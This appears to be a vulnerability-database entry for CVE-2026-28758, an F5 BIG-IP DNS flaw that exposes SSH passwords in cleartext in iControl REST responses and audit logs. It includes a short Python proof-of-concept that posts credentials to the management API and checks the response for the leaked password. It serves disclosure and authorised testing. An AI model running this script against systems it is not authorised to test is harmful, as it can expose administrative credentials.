CVE-2026-28758

Description

When BIG-IP DNS is provisioned, a vulnerability exists in the gtm_add and bigip_add iControl REST commands that return the ssh-password parameter in cleartext in the iControl REST response and is also logged in the audit log. This may allow a highly privileged, authenticated attacker with access to the audit log to view sensitive information. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated

CVSS Details

CVSS Score

4.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

F5 BIG-IP (具体受影响版本请参考官方公告K000158070)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-28758
# This script demonstrates the information disclosure vulnerability.
# Attacker needs High Privilege Auth Token.

import requests
import json

# Configuration
target_host = "https://<BIG-IP-IP>/mgmt/tm/gtm/server/"  # or bigip_add endpoint
auth_token = "<HIGH_PRIVILEGE_TOKEN>"

headers = {
    "Content-Type": "application/json",
    "X-F5-Auth-Token": auth_token
}

# Payload containing the sensitive password
payload = {
    "name": "vulnerable_server",
    "address": "192.168.1.100",
    "ssh-password": "CleartextSecretPassword123"
}

try:
    # Send request to trigger the vulnerability
    response = requests.post(target_host, headers=headers, data=json.dumps(payload), verify=False)
    
    if response.status_code == 200:
        response_data = response.json()
        print("Vulnerability Triggered. Response Data:")
        print(json.dumps(response_data, indent=2))
        
        # Check if ssh-password is leaked in response
        if "ssh-password" in response_data:
            print("\n[!] Password leaked in REST response:", response_data["ssh-password"])
        else:
            print("\n[-] Password not in response, check audit log (/var/log/audit)")
    else:
        print("Request failed with status code:", response.status_code)

except Exception as e:
    print(f"An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-28758
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-28758
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-28758/
[4] VulDB https://vuldb.com/cve/CVE-2026-28758
[5] https://my.f5.com/manage/s/article/K000158070

Raw JSON Data

JSON

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